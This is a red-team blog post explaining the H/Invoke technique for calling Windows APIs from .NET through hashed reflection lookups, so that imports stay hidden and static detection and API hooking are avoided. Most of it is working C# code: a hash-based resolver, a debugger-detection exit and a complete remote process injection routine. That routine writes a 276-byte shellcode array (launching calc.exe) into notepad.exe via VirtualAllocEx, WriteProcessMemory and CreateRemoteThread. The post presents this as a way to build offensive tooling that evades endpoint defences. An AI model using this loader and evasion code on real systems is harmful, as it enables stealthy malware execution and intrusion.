White Papers
March 05, 2024 . 19 min read

Bro, Do you even H/Invoke?

The traditional way of executing exported Windows functions from .NET is by using P/Invoke (short for Platform/Invoke) in C#. Which looks something like this if you want to execute CreateProcessA which is exported by kernel32.dll:

[DllImport("kernel32.dll")]
public static extern bool CreateProcessA
(
    string lpApplicationName,
    string lpCommandLine,
    IntPtr lpProcessAttributes,
    IntPtr lpThreadAttributes,
    bool   bInheritHandles,
    uint   dwCreationFlags,
    IntPtr lpEnvironment,
    string lpCurrentDirectory,
    ref    STARTUPINFOA lpStartupInfo,
    out    PROCESS_INFORMATION lpProcessInformation
);

Note: The examples in this blog use IntPtr instead of SafeHandles for the sake of simplicity. The importance of SafeHandles to ensure acquired handles are properly disposed of, has been stressed enough by Daniel Duggan (@RastaMouse) in his blog post SafeHandle vs IntPtr – Rasta Mouse

Here's a more formal definition:

Per Microsoft, "P/Invoke is a technology that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code. Most of the P/Invoke API is contained in two namespaces: System and System.Runtime.InteropServices. Using these two namespaces gives you the tools to describe how you want to communicate with the native component."

This allows you to call unmanaged WinAPI functions with the necessary marshaling, memory management etc. handled by the .NET runtime.

The downside to this way of calling WinAPI functions is that the imports will be added to the Import Address Table (IAT) of the resulting .NET assembly. This is bad from a static detection point-of-view whereby just checking the what functions a binary calls when loaded would be enough for detection (in addition to others like hardcoding msf-generated shellcode) in case of classic remote process injection flow:

During testing on one EDR, the actual detection in this flow wasn't triggered until CreateRemoteThread was called. But the aim of this blog is NOT to provide the reader with an EDR bypass recipe but to instead focus on the technique itself. The purpose of discussing the flow is to highlight an operational (currently being used) detection heuristic and a potential way to bypass hooking (apart from D/Invoke) to allow operators flexibility in choosing techniques while developing offensive tooling.

Summary: Using P/Invoke would provide easy avenues for static detection (for a classic remote process injection), let alone running the payload to get a shell.

Enter D/Invoke

This is an improvement over P/Invoke introduced by Beef (https://x.com/FuzzySec?s=20) and The Wover (https://twitter.com/TheRealWover). This allows us to declare delegates with the same function signature as the WinAPI function that we wish to call.

Refer to the original post for more details: Emulating Covert Operations - Dynamic Invocation (Avoiding PInvoke & API Hooks) – The Wover – Red Teaming, .NET, and random computing topics

For eg. the D/Invoke (delegate) declaration for VirtualAllocEx would look like this:

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr VirtualAllocEx(IntPtr pHandle, IntPtr lpAddress, int shellcode_size, UInt32 flAllocationType, UInt32 flProtect);

In, C# delegates are like function pointers in C/C++. They are similar to the function pointer in C. We need to get the function signature and the return type correct, and then you can call the method through that delegate. But they have several advantages such as passing the delegate as a function parameter and when compared to the standard function pointers offered by C/C++

In essence, functions can be declared and used as "types" by using C# Delegates. Delegates are object-oriented function pointers.

So, by not using the [DllImport] attribute, we remove all static references to functions that we use via appropriate delegates. This means that the calls are resolved dynamically at runtime with a pointer (not exactly a pointer but the delegate to pointer conversion is taken care of by the runtime) to the function. This would bypass any defenses checking IAT and API hooking.

This is all well and good. But a more indirect method of calling the desired functions is also possible. H/Invoke.

Enter H/Invoke

This is another approach originally talked about by dr4k0nia (https://x.com/dr4k0nia?s=20) in his blog post, HInvoke and avoiding PInvoke | dr4k0nia. This post is just about talking a bit more about the technique once again and encouraging its incorporation in developing offensive .NET tooling.

The central idea is to iterate through all the types within mscorlib.dll and hash their names using the original hash implementation.

public static uint GetHash(string name)
{
    uint sum = 0;
    foreach (char c in name)
    {
        sum = (sum >> 0xA | sum << 0x11) + c;
    }

    // zero terminator:
    sum = (sum >> 0xA | sum << 0x11) + 0;
    return sum;
}

In the code for resolving names from hashes, instead of passing the name for a function call, a hash of the function name is used. Then, by using reflection, all the types and methods in the mscorlib.dll are hashed as mentioned earlier. If there's a match, then that method is called using the Invoke function from the Reflection namespace.

For eg. We know that there exists a wrapper Microsoft.Win32.Win32Native for the native function GetProcAddress. So the class ID should be the hash for Microsoft.Win32.Win32Native and the method ID should be GetProcAddress. This will later be utilized in the demo code for injection.

The complete function looks like this:

public static T InvokeMethod<T>(uint classID, uint methodID, object[]? args)
{
    // Input class ID and find any matching hash
    var typeDef = typeof(void).Assembly
                              .GetTypes()
                              .FirstOrDefault(type => GetHash(type.FullName!) == classID);

    // If the class hash exists in mscorelib.dll
    var methodInfo = typeDef.GetRuntimeMethods()
                            .FirstOrDefault(method => GetHash(method.Name) == methodID);

    // Invoke the resolved method with the supplied args
    if (methodInfo != null)
    {
        return (T)methodInfo.Invoke(null, args);
    }

    return default!;
}

As an example, instead of calling Environment.Exit(0) directly if a debugger is detected and assuming that kernel32!IsDebuggerAttached is hooked, we can do the following:

if (HInvoke.GetPropertyValue<bool>(1577037771, 179842977)) // System.Diagnostics.Debugger.IsAttached
{
    HInvoke.InvokeMethod(1174404872, 2029614223, new object[] {0}); // System.Environment.Exit(0)
}

In this snippet, we check if a debugger is attached using the System.Diagnostics.Debugger.IsAttached function. If yes, we call System.Environment.Exit with the argument 0 to terminate the program.

Another way of checking if a debugger is attached is by using GetModuleHandle and GetProcAddress:

var module = HInvoke.InvokeMethod<IntPtr>
(
	13239936, // Microsoft.Win32.Win32Native
	811580934, // GetModuleHandle
	new object[]
	{
		"kernel32.dll"
	}
);
var address = HInvoke.InvokeMethod<IntPtr>
(
	13239936, // Microsoft.Win32.Win32Native
	1721745356, // GetProcAddress
	new object[]
	{
		module,
		"IsDebuggerPresent"
	}
);
if (((delegate* unmanaged[Stdcall]<bool>)address)())
{
	Console.WriteLine("[-] Debugger present. Must exit now.");
	return true;
}

In this code example, the execution is done via a "delegate pointer", which is a direct implementation of C function pointers starting C# 9.0. They can only be used within an unsafe context. The declaration is delegate * unmanaged[Stdcall] which means that we are executing a function pointer returning bool to unmanaged code with a stdcall calling convention (default for WinAPI functions).

A rabbit hole into native wrappers

dr4k0nia wrote:

Another idea I got while browsing through the internal parts of the managed .NET runtime. There is a class called Microsoft.Win32.Win32Native which contains you guessed it managed wrappers for native functions. Since Microsoft already so kindly provides these wrappers it would be a waste to not use them.

There were 2 functions that I found especially interesting: GetModuleHandle and GetProcAddress. By invoking them we can without any usage of P/Invoke in our binary get the address of any unmanaged function. Also by using the delegate pointer type (delegate*) we can easily invoke the resolved unmanaged functions.

Hmmm... "managed wrappers for native functions". I checked the code for Microsoft.Win32.Win32Native (find it here: https://referencesource.microsoft.com/#mscorlib/system/runtime/versioning/resourceattributes.cs,e9a2a97c9c60e6bf) to see the declarations myself. They were there but with a warning:

// Note - do NOT use this to call methods.  Use P/Invoke, which will
        // do much better things w.r.t. marshaling, pinning memory, security
        // stuff, better interactions with thread aborts, etc.  This is used
        // solely by DoesWin32MethodExist for avoiding try/catch EntryPointNotFoundException
        // in scenarios where an OS Version check is insufficient
        [DllImport(KERNEL32, CharSet=CharSet.Ansi, BestFitMapping=false, SetLastError=true, ExactSpelling=true)]
        [ResourceExposure(ResourceScope.None)]
        private static extern IntPtr GetProcAddress(IntPtr hModule, String methodName);

        [DllImport(KERNEL32, CharSet=CharSet.Auto, BestFitMapping=false, SetLastError=true)]
        [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
        [ResourceExposure(ResourceScope.Process)]  // Is your module side-by-side?
        private static extern IntPtr GetModuleHandle(String moduleName);

The warning makes sense but we aren't going back to P/Invoke after coming all this way :).

This got me thinking, we have the (internal) declarations for GetProcAddress and GetModuleHandle. So, shouldn't there be an assembly somewhere that might contain the declarations for functions of interest such as OpenProcess? That way, I can calculate the hash for OpenProcess and the assembly that implements it (once I find it). That's how it should work, shouldn't it? Let's find out!

My Experiments with Native Wrappers

So, our objective is to find the correct internal wrappers for WinAPI functions within the .NET runtime.

I started looking in the .NET runtime (https://github.com/dotnet/runtime) code for implementations of OpenProcess and several others, but couldn't find anything.

Before expanding the search to the runtime, first I decided to check the assemblies loaded in the current app domain. Apart from the current process, I had another location to check for assemblies, the GAC (but I'll touch on that a little later). A quick intro to what is an application domain:

Per Microsoft (https://learn.microsoft.com/en-us/dotnet/framework/app-domains/application-domains), Application Domains "provide an isolation boundary for security, reliability, and versioning, and for unloading assemblies. Application domains are typically created by runtime hosts, which are responsible for bootstrapping the common language runtime before an application is run."

To check the assemblies loaded in the current app domain we can use:

Console.WriteLine("[+] Assemblies loaded in the current Appdomain");

Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
foreach (Assembly assembly in assemblies)
{
    Console.WriteLine("\t [*] " + assembly.FullName);
}

We can see the output below:

We see that the only assembly apart from Demo (which is the main binary) we have mscorlib.dll loaded into the default app domain. This makes sense as the PoC only implements functions from mscorlib.dll.

For this, I wrote the code that performs the following things:

  1. Get all the assemblies (mscorlib to be precise) in the current process.
  2. Iterate through all classes.
  3. For each class, iterate through all methods.
    1. If the target method is found, record the class name and assembly name.
    2. If not, continue looking.
  4. Once assembly is found, calculate the hash of the class name and method name.
  5. Use hashes for H/Invoke.

Simple! Here's the code:

string methodName = "GetProcAddress";
Console.WriteLine($"[*] Looking for: {methodName}");
Console.WriteLine("[+] Checking current Appdomain");

Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
foreach (Assembly assembly in assemblies)
{
    Type[] types = assembly.GetTypes();
    foreach (Type type in types)
    {
        if (type.IsClass)
        {
            MethodInfo[] methods = type.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static);
            foreach (MethodInfo method in methods)
            {
                if (method.Name == methodName)
                {
                    Console.WriteLine($"\t[*] Class containing {methodName} ==> " + type.FullName);
                }
            }
        }
    }
}

The result? Nothing! To confirm otherwise for GetProcAddress we have the following output:

So mscorlib.dll could offer us only this much. But it's enough as we'll see later. To expand the search further, I proceed to check the Global Assembly Cache (GAC). Here's a quick one-liner on the GAC.

The Global Assembly Cache is a global cache maintained by the .NET runtime to store shared DLLs that are used by running programs to avoid code duplication.

Checking the installed assemblies in the GAC is usually done using the gacutil.exe tool that comes with .NET runtime. Assemblies in the GAC cache can be enumerated using,

gacutil.exe /nologo /l

Using C# to query GAC is not straightforward. One can parse the command line stdout for assembly names (which proved to be a pain). Instead, I decided to check the C:\Windows\Microsoft.NET\assembly\GAC_MSIL directory and append the directory names with .dll, recursively searching for directory.dll named DLL, storing them in a list and using it for the names that we'll be using for loading assemblies using Assembly.LoadFrom() and querying their types using .NET Reflection. Not perfect but it worked!

Starting from .NET 4.0, the GAC structure has changed, and the assemblies are stored in C:\Windows\Microsoft.NET\assembly instead. Each subdirectory within these directories corresponds to a different version of the .NET Framework.

For .NET 4.0 and later, the GAC is no longer browsable through Windows Explorer directly due to the removal of the Shfusion.dll shell extension that allowed browsing of the GAC.

Here's the code:

static void Main(string[] args)
{
	string methodName = "GetProcAddress";
	Console.WriteLine("[+] Checking the GAC");

	string chosenPath          = @"C:\Windows\Microsoft.NET\assembly\GAC_MSIL";
	string[] directories       = Directory.GetDirectories(chosenPath);
	List<string> directoryList = new List<string>();

	foreach (string directory in directories)
	{
		string directoryName = Path.GetFileName(directory);
		directoryList.Add(directoryName);
	}

	foreach (string startingFolderName in directoryList)
	{
		string startingDirectoryPath = @"C:\Windows\Microsoft.NET\assembly\GAC_MSIL";
		List<string> foundDllPaths   = new List<string>();
		SearchForDll(startingDirectoryPath, startingFolderName, foundDllPaths);
		foreach (string path in foundDllPaths)
		{
#if DEBUG
			Console.WriteLine("\t[+] Dll path: " + path);
			Console.WriteLine("[+] Loading and checking types...");
#endif
			LoadDLL(path, methodName);
		}
	}
}

static void LoadDLL(string dllPath, string methodName)
{
	try
	{
#if DEBUG
		Console.WriteLine("\t[*] " + dllPath);
#endif
		Assembly asm = Assembly.LoadFrom(dllPath);
#if DEBUG
		Console.WriteLine("\t[*] " + asm.FullName);
#endif
		Type[] types = asm.GetTypes();
		foreach (Type type in types)
		{
			if (type.IsClass)
			{
				MethodInfo[] methods = type.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static);
				foreach (MethodInfo method in methods)
				{
					if (method.Name == methodName)
					{
						Console.WriteLine($"\t[*] Class containing {methodName} ==> " + type.FullName);
					}
				}
			}
		}
	}
	catch (Exception ex)
	{
		Console.WriteLine("[!] Assembly not found. Continuing...");
	}
}

static void SearchForDll(string directoryPath, string dllNameWithoutExtension, List<string> foundDllPaths)
{
	string[] directories = Directory.GetDirectories(directoryPath);
	string[] dllFiles    = Directory.GetFiles(directoryPath, "*.dll");

	foreach (string file in dllFiles)
	{
		string fileName = Path.GetFileNameWithoutExtension(file);
		if (fileName.Equals(dllNameWithoutExtension, StringComparison.OrdinalIgnoreCase))
		{
			foundDllPaths.Add(file);
		}
	}
	foreach (string dir in directories)
	{
		SearchForDll(dir, dllNameWithoutExtension, foundDllPaths);
	}
}

In the above code, we check what all assemblies within the GAC might contain wrappers for GetProcAddress. Here's the output:

As a side note, those assemblies that couldn't be found can installed in the GAC using gacutil.exe /i <path_to_asm> and then have its types reflected again. This was not done in this blog.

Now we just plug in the OpenProcess and the results are below:

So, we have some internal classes that should contain references to OpenProcess. Whether or not this works can be confirmed, by calculating the hash of the class and method (as mentioned earlier) and invoking the function using the hashes. If we can get a handle to the process, then we found the correct wrapper!

We can automate this. First, we hash the internal class name found previously using GetHash defined earlier. Then hash the method name we wish to search, OpenProcess in this case. The relevant modifications made are below:

if (method.Name == methodName)
{
    Console.WriteLine($"\t[*] Class containing {methodName} ==> " + type.FullName);
    uint classHash  = GetHash(type.FullName);
    uint methodHash = GetHash(method.Name);

    IntPtr __handle_OpenProcess = InvokeMethod<IntPtr>
    (
        classHash,
        methodHash,
        new object[]
        {
            (uint)0x000F0000, // ProcessAllAccess
            false,
            Convert.ToUInt32(notepd.Id)
        }
    );

    if (__handle_OpenProcess != null)
    {
        if (__handle_OpenProcess == notepd.SafeHandle.DangerousGetHandle())
        {
            Console.WriteLine("[+] Handle aquired");
        }
        Console.WriteLine("\t\t[-] OpenProcess handle not null");
    }
    else
    {
        Console.WriteLine("\t\t[-] Couldn't aquire handle");
    }
}

The code checks if the handle value is not null and then compares the handle from H/Invoke call and using DangerousGetHandle() function, if they are equal then this method should have worked. The output was not encouraging for OpenProcess:

and even less encouraging for WriteProcessMemory:

To summarize, we

  1. Looked at all the assemblies that are loaded in the current process.
  2. Iterated through the current app domain and the GAC to search for native wrappers.
  3. Got to know that not all native functions have wrappers that we can use.
  4. We only have GetProcAddrtess and GetModuleHandle available to work with.

In the next section, I'll highlight an important factor while implementing H/Invoke.

D/Invoke vs H/Invoke

Considering that there is no (according to the research presented in this blog) internal wrapper for native functions that we could directly call apart from the ones presented in the original research on the topic, H/Invoke is similar to D/Invoke in case a native wrapper for functions used in an offensive flow, such as CreateRemoteThread (excluding thread-less injection), is not found, then the implementation is limited to calling GetModuleHandle and GetProcAddress.

Back to Basics: Remote Process Injection

Not finding the hashes of functions that we usually need in the classic remote injection is not the end! We can still use GetProcAddress and GetModuleHandle to get the kernel32.dll handle to find the address for our desired functions, and then mix the D/Invoke approach to achieve our goal.

Using the hashes for GetProcAddress and GetModuleHandle, we aim to create a simple and basic flow for remote shellcode injection. I'll be using the notepad.exe shellcode for demo purposes which will be injected into a notepad.exe process.

Here's the algorithm for injecting calc.exe shellcode into notepad.exe:

  1. Acquire a handle to the target process.
  2. Allocate memory equal to the shellcode size.
  3. Write the shellcode in allocated memory.
  4. Create a remote thread to start execution.
  5. Close all handles when done.

Code:

byte[] __payload = new byte[276]
{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

var shellcode_size  = __payload.Length;
int bytes_written   = 0;
int lpThreadId      = 0;
var desiredAccess = _Process.PROCESS_CREATE_THREAD
					| _Process.PROCESS_QUERY_INFORMATION
					| _Process.PROCESS_VM_OPERATION
					| _Process.PROCESS_VM_READ
					| _Process.PROCESS_VM_WRITE;

System.Diagnostics.Process.Start("notepad.exe");
System.Diagnostics.Process[] system_processes = System.Diagnostics.Process.GetProcesses();
int processID;

foreach (System.Diagnostics.Process process in system_processes)
{
	if (process.ProcessName == "notepad")
	{
		processID = process.Id;
#if DEBUG
		Console.WriteLine("[+] Notepad process ID: " + processID);
		Console.WriteLine("[+] Before HInvoke calls...");
#endif
		var module = InvokeMethod<IntPtr>
		(
			13239936,
			811580934, // GetModuleHandle
			new object[]
			{
				"kernel32.dll"
			}
		);

		IntPtr __addr_OpenProcess = InvokeMethod<IntPtr>
		(
			13239936,
			1721745356, // GetProcAddress
			new object[]
			{
				module,
				"OpenProcess"
			}
		);

		IntPtr __addr_GetLastError = InvokeMethod<IntPtr>
		(
			13239936,
			1721745356, // GetProcAddress
			new object[]
			{
			module,
			"GetLastError"
			}
		);

		// Get delegate for the function pointer
		OpenProcess op_func = Marshal.GetDelegateForFunctionPointer<OpenProcess>(__addr_OpenProcess);

		// Invoke delegate with arguments
		IntPtr handle = op_func((uint)desiredAccess, false, Convert.ToUInt32(processID));

#if DEBUG
		Console.WriteLine("[+] Handle to notepad process: " + handle);
#endif

		var __addr_VirtualAllocEx = InvokeMethod<IntPtr>
		(
			13239936,
			1721745356, // GetProcAddress
			new object[]
			{
				module,
				"VirtualAllocEx"
			}
		);

		// Get Delegate for function pointer
		VirtualAllocEx virt_func = Marshal.GetDelegateForFunctionPointer<VirtualAllocEx>(__addr_VirtualAllocEx);

		// Invoke delegate
		IntPtr memHandle = virt_func(handle, IntPtr.Zero, shellcode_size, (uint)State.MEM_COMMIT | (uint)State.MEM_RESERVE, (uint)PAGE_EXECUTE_READWRITE);
#if DEBUG
		Console.WriteLine("[+] Handle to allocated memory: " + memHandle);
#endif
		var __addr_WriteProcessMemory = InvokeMethod<IntPtr>
		(
			13239936,
			1721745356, // GetProcAddress
			new object[]
			{
				module,
				"WriteProcessMemory"
			}
		);

		// Get delegate for function pointer
		WriteProcessMemory pmem = Marshal.GetDelegateForFunctionPointer<WriteProcessMemory>(__addr_WriteProcessMemory);

		// Invoke delegate
		bool wpm_res = pmem(handle, memHandle, __payload, shellcode_size, ref bytes_written);
		if (wpm_res == false)
		{
#if DEBUG
			Console.WriteLine("[!] Memory write process failed");
#endif
		}
#if DEBUG
		Console.WriteLine("[+] Shellcode written");
#endif

		var __addr_CreateRemoteThread = InvokeMethod<IntPtr>
		(
			13239936,
			1721745356, // GetProcAddress
			new object[]
			{
				module,
				"CreateRemoteThread"
			}
		);

		// Get delegate for function pointer
		CreateRemoteThread crt = Marshal.GetDelegateForFunctionPointer<CreateRemoteThread>(__addr_CreateRemoteThread);

		// Invoke delegate
		IntPtr crt_res = crt(handle, IntPtr.Zero, 0, memHandle, IntPtr.Zero, 0, ref lpThreadId);

		if (crt_res == IntPtr.Zero)
		{
#if DEBUG
			Console.WriteLine("[-] Starting remote thread failed");
#endif
		}
#if DEBUG
		Console.WriteLine("[+] Handle to thread: " + crt_res);
#endif
		// Close opened handles

		var __addr_CloseHandle = InvokeMethod<IntPtr>
		(
			13239936,
			1721745356, // GetProcAddress
			new object[]
			{
				module,
				"CloseHandle"
			}
		);

		// CloseHandle delegate from function pointer
		CloseHandle close_res = Marshal.GetDelegateForFunctionPointer<CloseHandle>(__addr_CloseHandle);

		// Invoke CloseHandle
		bool rclose = close_res(crt_res);
		bool hclose = close_res(handle);

		if (rclose == false && hclose == false)
		{
#if DEBUG
			Console.WriteLine("[-] Close file and thread handles failed");
#endif
		}
#if DEBUG
		Console.WriteLine("[+] Handles closed");
#endif
	}
}

The constants used in the code above are defined below:

public static readonly int PAGE_EXECUTE_READWRITE = 0x40;
public enum State
{
    MEM_COMMIT  = 0x00001000,
    MEM_RESERVE = 0x00002000
}
public enum _Process
{
    PROCESS_ALL_ACCESS          = 0x000F0000 | 0x00100000 | 0xFFFF,
    PROCESS_CREATE_THREAD       = 0x0002,
    PROCESS_QUERY_INFORMATION   = 0x0400,
    PROCESS_VM_OPERATION        = 0x0008,
    PROCESS_VM_READ             = 0x0010,
    PROCESS_VM_WRITE            = 0x0020
}

The delegates used are declared below:

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr OpenProcess         (uint desired_access, bool inherit_handle, uint process_id);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr VirtualAllocEx      (IntPtr pHandle, IntPtr lpAddress, int shellcode_size, UInt32 flAllocationType, UInt32 flProtect);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate bool   WriteProcessMemory  (IntPtr pHandle, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int noOfBytesWritten);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr CreateRemoteThread  (IntPtr hProcess, IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref int lpThreadId);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate bool   CloseHandle         (IntPtr handle);

As a bonus, the SafeHandle implementation isn't much different, just the IntPtr will be replaced with appropriate SafeHandle type (the example below is for P/Invoke!):

Console.WriteLine("[+] Notepad process ID: " + processID);
safeProcHandle = OpenProcess((uint)desiredAccess, false, Convert.ToUInt32(processID));
if (safeProcHandle.IsInvalid)
{
	Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
}
safeStartAddr = VirtualAllocEx(safeProcHandle, IntPtr.Zero, shellcode_size, (uint)Initialization.State.MEM_COMMIT | (uint)Initialization.State.MEM_RESERVE, (uint)Initialization.Protection.PAGE_EXECUTE_READWRITE);
if (safeStartAddr.IsInvalid)
{
	Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
}
WriteProcessMemory(safeProcHandle, safeStartAddr, __payload, shellcode_size, ref bytes_written);
Console.WriteLine("[+] Bytes written: " + bytes_written);
safeThreadHandle = CreateRemoteThread(safeProcHandle, IntPtr.Zero, 0, safeStartAddr, IntPtr.Zero, 0, ref lpThreadId);
if (safeThreadHandle.IsInvalid)
{
	Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
}
Console.WriteLine("[+] Thread ID: " + safeThreadHandle);
safeProcHandle.Dispose();
safeThreadHandle.Dispose();
safeStartAddr.Dispose();

Give the code a spin! Hope you learned something new today. Have a nice day :).

Tx0actical. Out.

Credits

  1. dr4k0nia (https://twitter.com/dr4k0nia): Author of the H/Invoke technique.
  2. NixImports (a .NET loader that uses H/Invoke): https://github.com/dr4k0nia/NixImports.
Like what you read? Share with your community.
Amit Panghal
Red Team Operator (R&D) @ P.I.V.O.T Security | CRTP
I actively engage with the cybersecurity community, sharing knowledge and best practices to help others enhance their security posture. My goal is to contribute to a safer and more secure digital landscape for all.
Share with your community!
Sign Up for Our Security Newsletter
Get the information you need conveniently delivered to your email, saving you time and effort.
logo
startupindia
Let’s Connect
We are on a mission to bridge the gap between offense and defense
© 2024 P.I.V.O.T Security Private Limited | Sitemap
youtube
linkedin
twitter